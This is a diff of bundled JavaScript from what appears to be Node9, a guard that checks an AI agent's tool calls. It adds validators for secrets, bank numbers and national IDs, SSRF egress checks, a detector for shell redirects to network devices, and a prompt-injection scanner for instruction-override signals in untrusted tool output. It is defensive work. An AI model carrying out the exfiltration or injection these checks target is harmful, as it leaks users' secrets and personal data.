+  const want = IBAN_LENGTH[s.slice(0, 2)];
+  if (want === void 0 || s.length < want) return false;
+  const iban = s.slice(0, want);
+  if (!/^[A-Z0-9]+$/.test(iban)) return false;
+  const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
+  if (shape && !shape.test(iban.slice(4))) return false;
+  const rearranged = iban.slice(4) + iban.slice(0, 4);
+  let mod = 0;
+  for (const ch of rearranged) {
+    const code = ch.charCodeAt(0);
+    const digits = code >= 65 ? String(code - 55) : ch;
+    for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
+  }
+  return mod === 1;
+}
+function validateBase58Check(s) {
+  if (!s) return null;
+  let n = 0n;
+  for (const c of s) {
+    const v = B58_INDEX[c];
+    if (v === void 0) return null;
+    n = n * 58n + BigInt(v);
+  }
+  let hex = n.toString(16);
+  if (hex.length % 2) hex = "0" + hex;
+  let zeros = 0;
+  for (const c of s) {
+    if (c !== "1") break;
+    zeros++;
+  }
+  const bytes = Buffer.concat([
+    Buffer.alloc(zeros),
+    n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
+  ]);
+  if (bytes.length < 5) return null;
+  const body = bytes.subarray(0, bytes.length - 4);
+  const check = bytes.subarray(bytes.length - 4);
+  const h = (0, import_crypto3.createHash)("sha256").update((0, import_crypto3.createHash)("sha256").update(body).digest()).digest();
+  return h.subarray(0, 4).equals(check) ? body : null;
+}
+function validateWif(s) {
+  const p = validateBase58Check(s);
+  if (!p || p[0] !== 128) return false;
+  return p.length === 33 || p.length === 34 && p[33] === 1;
+}
+function validateXprv(s) {
+  const p = validateBase58Check(s);
+  if (!p || p.length !== 78) return false;
+  const version = p.readUInt32BE(0);
+  return XPRV_VERSIONS.has(version) && p[45] === 0;
+}
+function crc32(input) {
+  if (!CRC32_TABLE) {
+    CRC32_TABLE = new Int32Array(256);
+    for (let i = 0; i < 256; i++) {
+      let c2 = i;
+      for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
+      CRC32_TABLE[i] = c2;
+    }
+  }
+  const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
+  let c = -1;
+  for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
+  return (c ^ -1) >>> 0;
+}
+function base62Checksum(value) {
+  let n = value >>> 0;
+  let s = "";
+  while (n > 0) {
+    s = B62[n % 62] + s;
+    n = Math.floor(n / 62);
   }
   return s.padStart(6, "0");
 }
@@ -3478,11 +3993,138 @@ function validateCask(raw) {
   const second = b64urlIndex(s[tsAt + 5]);
   return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
 }
-function isInvisibleChar(char) {
-  return INVISIBLE_ONE.test(char);
+function plausibleDate(mm, dd) {
+  const m = Number(mm);
+  const d = Number(dd);
+  return m >= 1 && m <= 12 && d >= 1 && d <= 31;
 }
-function stripInvisible(text) {
-  return text.replace(INVISIBLE_RE, "");
+function validateCodiceFiscale(raw) {
+  const s = raw.toUpperCase();
+  if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
+  let sum = 0;
+  for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
+  return s[15] === String.fromCharCode(65 + sum % 26);
+}
+function validateSpanishId(raw) {
+  const s = raw.toUpperCase();
+  const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
+  if (!m) return false;
+  if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
+  const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
+  return SPANISH_LETTERS[Number(digits) % 23] === m[3];
+}
+function validatePesel(raw) {
+  if (!/^\d{11}$/.test(raw)) return false;
+  const month = Number(raw.slice(2, 4)) % 20;
+  if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
+  const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
+  let sum = 0;
+  for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
+  return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
+}
+function validateCnp(raw) {
+  if (!/^[1-9]\d{12}$/.test(raw)) return false;
+  if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
+  const county = Number(raw.slice(7, 9));
+  if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
+  const key = "279146358279";
+  let sum = 0;
+  for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
+  const r = sum % 11;
+  return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
+}
+function validateNir(raw) {
+  const s = raw.replace(/\s+/g, "").toUpperCase();
+  const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
+  if (!m) return false;
+  const body = m[1].replace("2A", "19").replace("2B", "18");
+  const key = Number(m[4]);
+  return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
+}
+function validateSwissAhv(raw) {
+  const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
+  if (!m) return false;
+  const digits = "756" + m[1] + m[2] + m[3];
+  let sum = 0;
+  for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
+  return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
+}
+function validateSwissUid(raw) {
+  const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
+  if (!m) return false;
+  const digits = m[1] + m[2] + m[3];
+  const weights = [5, 4, 3, 2, 7, 6, 5, 4];
+  let sum = 0;
+  for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
+  const check = 11 - sum % 11;
+  if (check === 10) return false;
+  return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
+}
+function validateSwedishPersonnummer(raw) {
+  const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
+  if (!m) return false;
+  if (!plausibleDate(m[2], m[3])) return false;
+  const digits = m[1] + m[2] + m[3] + m[4];
+  let sum = 0;
+  for (let i = 0; i < 10; i++) {
+    let d = digits.charCodeAt(i) - 48;
+    if (i % 2 === 0) {
+      d *= 2;
+      if (d > 9) d -= 9;
+    }
+    sum += d;
+  }
+  return sum % 10 === 0;
+}
+function validateNorwegianFnr(raw) {
+  if (!/^\d{11}$/.test(raw)) return false;
+  if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
+  const control = (weights, upto) => {
+    let sum = 0;
+    for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
+    const k = 11 - sum % 11;
+    return k === 11 ? 0 : k;
+  };
+  const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
+  const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
+  return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
+}
+function validateFinnishHetu(raw) {
+  const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
+  if (!m) return false;
+  if (!plausibleDate(m[2], m[1])) return false;
+  const n = Number(m[1] + m[2] + m[3] + m[4]);
+  return HETU_CHARS[n % 31] === m[5];
+}
+function matchesOutsideMention(re, text) {
+  const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
+  let m;
+  while ((m = g.exec(text)) !== null) {
+    if (m[0].length === 0) {
+      g.lastIndex = m.index + 1;
+      continue;
+    }
+    const before = text.slice(Math.max(0, m.index - 48), m.index);
+    if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
+  }
+  return false;
+}
+function scanInjection(text, ctx = {}) {
+  if (!text) return null;
+  const t = text.length > MAX ? text.slice(0, MAX) : text;
+  const matched = [];
+  for (const view of scanViews(t)) {
+    for (const sig of SIGNALS) {
+      if (matched.includes(sig.name)) continue;
+      const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
+      if (hit) matched.push(sig.name);
+    }
+  }
+  if (matched.length === 0) return null;
+  const untrusted = ctx.untrusted ?? (!!ctx.tool && UNTRUSTED_TOOLS.test(ctx.tool));
+  const score = matched.length + (untrusted ? 1 : 0);
+  const confidence = score >= 3 ? "high" : score === 2 ? "medium" : "low";
+  return { signals: untrusted ? [...matched, "untrusted-origin"] : matched, confidence };
 }
 function isAssignmentContext(text) {
   return ASSIGNMENT_CONTEXT_RE.test(text);
@@ -3565,7 +4207,41 @@ function validateAssignedSecret(raw, before = "") {
   if (ARN_CONTEXT_RE.test(before)) return false;
   const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
   if (!nameHoldsCredential(prefix + name)) return false;
-  return looksGenerated(value, 12, 3.5);
+  if (isOtpDocSecret(value)) return false;
+  const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
+  return looksGenerated(value, 12, mixed ? 3 : 3.5);
+}
+function validateCipherKeyLiteral(raw) {
+  const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
+  const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
+  if (name === null || value === null) return false;
+  if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
+  const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
+  if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
+  if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
+  const bytes = Buffer.from(value, "base64");
+  return bytes.length === 16 && bytes.toString("base64") === value;
+}
+function validateLaravelAppKey(raw) {
+  const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
+  if (value === null) return false;
+  const bytes = Buffer.from(value, "base64");
+  return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
+}
+function validateSqlPassword(raw) {
+  const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
+  if (value === null) return false;
+  const lower2 = value.toLowerCase();
+  if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
+    return false;
+  if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
+  return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
+}
+function validateGrafanaApiKey(raw) {
+  const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
+  if (value === null) return false;
+  const text = Buffer.from(value, "base64").toString("utf8");
+  return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
 }
 function validateBasicCredential(raw) {
   const b64 = capturedValue(raw, BASIC_VALUE_RE);
@@ -3588,6 +4264,13 @@ function validateBasicCredential(raw) {
   if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || hasSequentialRun(password)) return false;
   return shannonEntropy(password) >= 3;
 }
+function validateDbConnectionString(raw) {
+  const password = capturedValue(raw, DB_URL_PASSWORD_RE);
+  if (password === null) return false;
+  const lower2 = password.toLowerCase();
+  if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
+  return shannonEntropy(raw) >= 3;
+}
 function validateOtpSecret(raw) {
   const secret = capturedValue(raw, OTP_CAPTURE_RE);
   if (secret === null || isOtpDocSecret(secret)) return false;
@@ -4750,9 +5433,9 @@ function bareToolName(toolName) {
   const parts = toolName.split("__");
   return (parts.length >= 3 ? parts.slice(2).join("__") : toolName).toLowerCase();
 }
-function valuesAt(args, path26) {
+function valuesAt(args, path27) {
   let cursors = [args];
-  for (const rawSegment of path26.split(".")) {
+  for (const rawSegment of path27.split(".")) {
     const isArray = rawSegment.endsWith("[]");
     const key = isArray ? rawSegment.slice(0, -2) : rawSegment;
     const next = [];
@@ -4781,11 +5464,18 @@ function hostOf(value) {
 }
 function extractToolDestinations(toolName, args) {
   try {
-    const paths = DESTINATION_ARGS.get(bareToolName(toolName));
-    if (!paths) return [];
     const out = [];
-    for (const path26 of paths) {
-      for (const value of valuesAt(args, path26)) {
+    const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
+    for (const path27 of paths) {
+      for (const value of valuesAt(args, path27)) {
+        const host2 = hostOf(value);
+        if (host2) out.push({ host: host2, binary: toolName, raw: value });
+      }
+    }
+    if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
+      for (const key of MCP_DESTINATION_KEYS) {
+        const value = args[key];
+        if (typeof value !== "string") continue;
         const host2 = hostOf(value);
         if (host2) out.push({ host: host2, binary: toolName, raw: value });
       }
@@ -4795,19 +5485,25 @@ function extractToolDestinations(toolName, args) {
     return [];
   }
 }
+function writtenAuthority(value) {
+  const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
+  return m && m[1] ? m[1] : null;
+}
 function ssrfDestinationFloor(toolName, args, opts = {}) {
   try {
     const paths = DESTINATION_ARGS.get(bareToolName(toolName));
     if (!paths) return null;
-    for (const path26 of paths) {
-      for (const value of valuesAt(args, path26)) {
+    for (const path27 of paths) {
+      for (const value of valuesAt(args, path27)) {
         const host2 = hostOf(value);
         if (!host2) continue;
         const m = classifySsrf(host2);
         if (!m) continue;
-        if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
-        if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
-        return { ...m, argPath: path26, host: host2, reason: ssrfReason(m, host2) };
+        const written = writtenAuthority(value) ?? host2;
+        const decision = ssrfFloorDecision(m, written, opts);
+        if (decision === null) continue;
+        const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
+        return { ...m, argPath: path27, host: host2, reason, decision };
       }
     }
     return null;
@@ -4815,190 +5511,6 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
     return null;
   }
 }
-function newSecretViewBudget() {
-  return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
-}
-function textBytes(buf) {
-  if (buf.length < 16) return null;
-  const text = buf.toString("utf8");
-  if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
-  return text;
-}
-function percentOnce(text) {
-  return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
-    try {
-      return decodeURIComponent(run);
-    } catch {
-      return run.replace(
-        /%([a-f0-9]{2})/gi,
-        (_, h) => String.fromCharCode(parseInt(h, 16))
-      );
-    }
-  });
-}
-function* wrappedBase64(text) {
-  if (!text.includes("\n")) return;
-  const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
-  let run = [];
-  let width = 0;
-  const flush = function* () {
-    if (run.length >= 2) yield run.join("");
-    run = [];
-    width = 0;
-  };
-  for (const raw of text.split("\n")) {
-    const line = raw.trim();
-    const full = line.length >= 16 && word.test(line) && !line.includes("=");
-    if (full && (!run.length || line.length === width)) {
-      run.push(line);
-      width = line.length;
-      continue;
-    }
-    if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
-      run.push(line);
-      yield* flush();
-      continue;
-    }
-    yield* flush();
-    if (full) {
-      run.push(line);
-      width = line.length;
-    }
-  }
-  yield* flush();
-}
-function* encodedRegions(text, budget) {
-  yield [text, false];
-  for (const block of wrappedBase64(text)) yield [block, false];
-  for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
-    try {
-      new URL(match[0]);
-    } catch {
-      continue;
-    }
-    const parts = match[0].match(
-      /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
-    );
-    if (!parts) continue;
-    const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
-    const regions = [
-      parts[1],
-      ...host2.split("."),
-      ...parts[2].split("/"),
-      ...(parts[3] ?? "").split("&"),
-      parts[4] ?? ""
-    ];
-    for (const region of regions) if (region) yield [region, false];
-    const labels = host2.split(".");
-    if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
-      continue;
-    for (let start = 0; start < labels.length; start++) {
-      let joined = labels[start];
-      for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
-        const run = labels.slice(start, end + 1);
-        if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
-          break;
-        joined += labels[end];
-        if (joined.length < 16) continue;
-        budget.joinedLabelBytes += joined.length;
-        if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
-          budget.reasons.add("decode-labels");
-          return;
-        }
-        yield [joined, true];
-      }
-    }
-  }
-}
-function decodeBase32(raw) {
-  const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
-  const out = [];
-  let bits = 0;
-  let accumulator = 0;
-  for (const c of raw.toUpperCase()) {
-    accumulator = accumulator << 5 | alphabet.indexOf(c);
-    bits += 5;
-    if (bits >= 8) {
-      bits -= 8;
-      out.push(accumulator >> bits);
-      accumulator &= (1 << bits) - 1;
-    }
-  }
-  if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
-  return Buffer.from(out);
-}
-function* decodedCandidates(text, budget) {
-  const stripped = stripInvisible(text);
-  if (stripped !== text) yield ["invisibles", stripped];
-  if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
-  const families = [
-    ["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
-    ["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
-    ["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
-    ["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
-    ["base32", /\b[A-Z2-7]{26,}\b/gi]
-  ];
-  for (const [region, joined] of encodedRegions(text, budget)) {
-    if (joined) yield ["dns-labels", region];
-    for (const [kind, re] of families) {
-      for (const match of region.matchAll(re)) {
-        const raw = match[0];
-        let buf;
-        if (kind === "base64") {
-          if (/^[a-f0-9]+$/i.test(raw)) continue;
-          const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
-          const unpadded = normalized.replace(/=+$/, "");
-          if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
-          buf = Buffer.from(normalized, "base64");
-          if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
-        } else if (kind === "base32") {
-          const decoded2 = decodeBase32(raw);
-          if (!decoded2) continue;
-          buf = decoded2;
-        } else {
-          buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
-        }
-        const decoded = textBytes(buf);
-        if (decoded !== null) yield [kind, decoded];
-      }
-    }
-  }
-}
-function secretViews(text, budget) {
-  const seen = /* @__PURE__ */ new Set([text]);
-  const out = [];
-  let frontier = [{ text, transforms: [] }];
-  for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
-    const next = [];
-    for (const parent of frontier) {
-      let perLeaf = 0;
-      for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
-        if (seen.has(decoded)) continue;
-        seen.add(decoded);
-        const normalizing = kind === "invisibles" || kind === "percent";
-        if (depth >= 2 && !normalizing) {
-          budget.nestedBytes += Buffer.byteLength(decoded);
-          if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
-            budget.reasons.add("decode-nested");
-            return out;
-          }
-        }
-        const view = { text: decoded, transforms: [...parent.transforms, kind] };
-        out.push(view);
-        next.push(view);
-      }
-    }
-    frontier = next;
-    if (!frontier.length) return out;
-  }
-  for (const view of frontier) {
-    if (!decodedCandidates(view.text, budget).next().done) {
-      budget.reasons.add("decode-nested");
-      break;
-    }
-  }
-  return out;
-}
 function batches(views) {
   const out = [];
   let current = [];
@@ -5283,11 +5795,12 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
   {
     const dest = ssrfDestinationFloor(toolName, args, {
       ssrfAllow: config.policy.egress?.ssrfAllow,
-      ssrfStrict: config.policy.egress?.ssrfStrict
+      ssrfStrict: config.policy.egress?.ssrfStrict,
+      allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
     });
     if (dest) {
       return {
-        decision: "block",
+        decision: dest.decision,
         blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
         reason: dest.reason,
         ruleName: `ssrf:${dest.tier}:${toolName}:${dest.host}`,
@@ -5484,11 +5997,14 @@ async function evaluatePolicyCore(config, toolName, args, context = {}, hooks =
     {
       const ssrf = ssrfFloor(extractShellDestTokens(shellCommand), {
         ssrfAllow: config.policy.egress?.ssrfAllow,
-        ssrfStrict: config.policy.egress?.ssrfStrict
+        ssrfStrict: config.policy.egress?.ssrfStrict,
+        // Only an ENABLED egress policy speaks for the operator here: the
+        // shipped default carries allowPrivate without anyone having chosen it.
+        allowPrivate: config.policy.egress?.enabled ? config.policy.egress.allowPrivate : void 0
       });
       if (ssrf) {
         return {
-          decision: "block",
+          decision: ssrf.decision,
           blockedByLabel: "\u{1F310} Node9 Egress (Protected Address)",
           reason: ssrf.reason,
           ruleName: `ssrf:${ssrf.tier}:${ssrf.binary}:${ssrf.host}`,
@@ -5767,6 +6283,36 @@ function gitRepoPath(url) {
 function isDestructiveToolName(bareTool) {
   return DESTRUCTIVE_VERB_RE.test(bareTool);
 }
+function hasNationalId(text) {
+  if (!NATIONAL_ID_GUARD_RE.test(text)) return false;
+  const labelled = NATIONAL_ID_LABEL_RE.test(text);
+  for (const shape of NATIONAL_ID_SHAPES) {
+    if (shape.labelled && !labelled) continue;
+    const flags = shape.regex.flags.includes("g") ? shape.regex.flags : shape.regex.flags + "g";
+    const re = new RegExp(shape.regex.source, flags);
+    let m;
+    while ((m = re.exec(text)) !== null) {
+      if (!shape.validate(m[0])) continue;
+      if (!shape.labelled) return true;
+      const before = text.slice(Math.max(0, m.index - NATIONAL_ID_LABEL_WINDOW), m.index);
+      if (NATIONAL_ID_LABEL_RE.test(before)) return true;
+    }
+  }
+  return false;
+}
+function hasRoutingNumber(text) {
+  if (!ROUTING_LABEL_RE.test(text)) return false;
+  const re = new RegExp(PII_ROUTING_RE.source, "g");
+  let m;
+  while ((m = re.exec(text)) !== null) {
+    if (!validateAbaRouting(m[0])) continue;
+    const before = text.slice(Math.max(0, m.index - ROUTING_LABEL_WINDOW), m.index);
+    const end = m.index + m[0].length;
+    const after = text.slice(end, end + ROUTING_LABEL_WINDOW);
+    if (ROUTING_LABEL_RE.test(before) || ROUTING_LABEL_RE.test(after)) return true;
+  }
+  return false;
+}
 function* validCardRuns(text, base2, exemptFractions = true) {
   const re = new RegExp(base2.source, "g");
   let m;
@@ -5781,14 +6327,14 @@ function* validCardRuns(text, base2, exemptFractions = true) {
   }
 }
 function hasValidCard(text) {
-  for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
+  for (const base2 of CARD_PATTERNS) {
     if (!validCardRuns(text, base2).next().done) return true;
   }
   return false;
 }
 function replaceValidCards(text, replace, { exemptFractions = true } = {}) {
   let out = text;
-  for (const base2 of [PII_CC16_RE, PII_CC15_RE]) {
+  for (const base2 of CARD_PATTERNS) {
     let res = "";
     let last = 0;
     for (const run of validCardRuns(out, base2, exemptFractions)) {
@@ -5829,36 +6375,65 @@ function detectPii(text) {
   if (PII_PHONE_RE.test(text)) found.add("Phone");
   if (hasValidCard(text)) found.add("Credit Card");
   if (hasValidIban(text)) found.add("IBAN");
+  if (hasRoutingNumber(text)) found.add("Bank Routing Number");
+  if (hasNationalId(text)) found.add("National ID");
   return [...found];
 }
-function* stringLeaves(v, depth = 0) {
+function* stringLeaves(v, depth = 0, key) {
   if (depth > 6) return;
   if (typeof v === "string") {
-    if (v.length > 0) yield v;
+    if (v.length > 0) yield [v, key];
     return;
   }
   if (typeof v === "number") {
-    if (Number.isFinite(v)) yield String(v);
+    if (Number.isFinite(v)) yield [String(v), key];
     return;
   }
   if (!v || typeof v !== "object") return;
   if (Array.isArray(v)) {
-    for (const x of v) yield* stringLeaves(x, depth + 1);
+    for (const x of v) yield* stringLeaves(x, depth + 1, key);
     return;
   }
-  for (const x of Object.values(v)) yield* stringLeaves(x, depth + 1);
+  for (const [k, x] of Object.entries(v)) yield* stringLeaves(x, depth + 1, k);
+}
+function argumentLeavesText(args, limit = MAX_PII_SCAN_BYTES) {
+  const parts = [];
+  let size = 0;
+  for (const [leaf] of stringLeaves(args)) {
+    if (size >= limit) break;
+    parts.push(leaf);
+    size += leaf.length + 1;
+  }
+  return parts.join("\n").slice(0, limit);
+}
+function isIbanDestination(leaf, key) {
+  if (!key || !IBAN_DESTINATION_KEYS.has(key.toLowerCase())) return false;
+  const value = leaf.trim();
+  return WHOLE_IBAN_RE.test(value) && validateIban(value);
+}
+function jsonUnescapedView(leaf) {
+  if (!/\\[ntr"\\/u]/.test(leaf)) return null;
+  return leaf.replace(
+    JSON_ESCAPE_RE,
+    (m) => m[1] === "u" ? String.fromCharCode(parseInt(m.slice(2), 16)) : JSON_ESCAPES[m[1]]
+  );
 }
 function detectArgsPii(args) {
   if (args === null || args === void 0) return [];
   const found = /* @__PURE__ */ new Set();
   let budget = MAX_PII_SCAN_BYTES;
   try {
-    for (const leaf of stringLeaves(args)) {
+    for (const [leaf, key] of stringLeaves(args)) {
       if (budget <= 0) break;
       const t = leaf.length > budget ? leaf.slice(0, budget) : leaf;
       budget -= t.length;
-      for (const p of detectPii(t)) {
-        if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
+      const destination = isIbanDestination(t, key);
+      for (const view of [t, jsonUnescapedView(t)]) {
+        if (view === null) continue;
+        for (const p of detectPii(view)) {
+          if (p === "IBAN" && destination) continue;
+          if (REALTIME_PII_PATTERNS.includes(p)) found.add(p);
+        }
       }
     }
   } catch {
@@ -6314,6 +6889,15 @@ function walkCalls(command, out, depth, state) {
       for (const a of node.Args || []) if (a?.Name?.Value) state.env.add(a.Name.Value);
       return true;
     }
+    if (type === "Stmt") {
+      for (const r of node.Redirs || []) {
+        const h = devNetRedirectHost(r?.Word ? resolveWordLiteral(r.Word) : null);
+        if (!h) continue;
+        out.sends = true;
+        out.destinations.push(`host:${h}`);
+      }
+      return true;
+    }
     if (type !== "CallExpr") return true;
     const call = node;
     if ((call.Args || []).length === 0) {
@@ -6483,7 +7067,7 @@ function matchCanaryArgs(args, values) {
     return null;
   }
 }
-var import_picomatch, import_safe_regex2, import_picomatch2, import_mvdan_sh, import_safe_regex22, import_mvdan_sh2, import_safe_regex23, import_crypto2, import_crypto3, import_mvdan_sh3, import_crypto4, import_mvdan_sh4, import_crypto5, aws_default, bash_safe_default, docker_default, filesystem_default, github_default, k8s_default, mongodb_default, postgres_default, project_jail_default, redis_default, BUILTIN_SHIELDS, SSRF_MAX_HOST, METADATA_ADDRESSES, STRICT_TIERS, METADATA_HOSTNAMES, v4Octets, TIER_REASON, CHECK_TEXT, VERDICTS, CHECK_VERDICT_RANK, ALL, BUILTIN_DANGEROUS_WORDS, PRODUCT_CHECKS, SHIELD_RULE_NAME, SHIELD_RULES_FOLDED_INTO_PRODUCT, CHECKS, CHECK_BY_ID, LEGACY_TO_ID, PROJECT_JAIL_BLOCK_READ, OVERRIDE_PREFIX, LABEL_WRAPPERS, LEGACY_READERS, syntax, sharedParser, MESSAGE_FLAGS, SHELL_INTERPRETERS, DOWNLOAD_CMDS, NORMALIZE_CACHE_MAX, normalizeCache, AST_CACHE_MAX, astCache, PARSE_FAIL, defaultExpansionOps, VARIABLE_READERS, FS_READ_TOOLS, GREP_SHAPE, PATTERN_VERBS, PATTERN_VERB_NAMES, GREP_FILE_OPERANDS, READER_VALUE_LETTERS, FILE_OPERAND_FLAGS, SCP_VALUE_FLAGS, TAR_VALUE_LETTERS, ZIP_VALUE_LETTERS, RSYNC_VALUE_LETTERS, RSYNC_SKIP, CP_VALUE_LETTERS, INSTALL_VALUE_LETTERS, COPY_VERBS, TAR_MODE_WORD, COPY_VERB_HEADS, FS_OP_PRESCREEN_RE, HOME_CACHE_ALLOWLIST, SENSITIVE_PATH_RULES, AST_FS_REGEX_RULES, SQL_DB_CLIS, SQL_DDL_RE, CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, 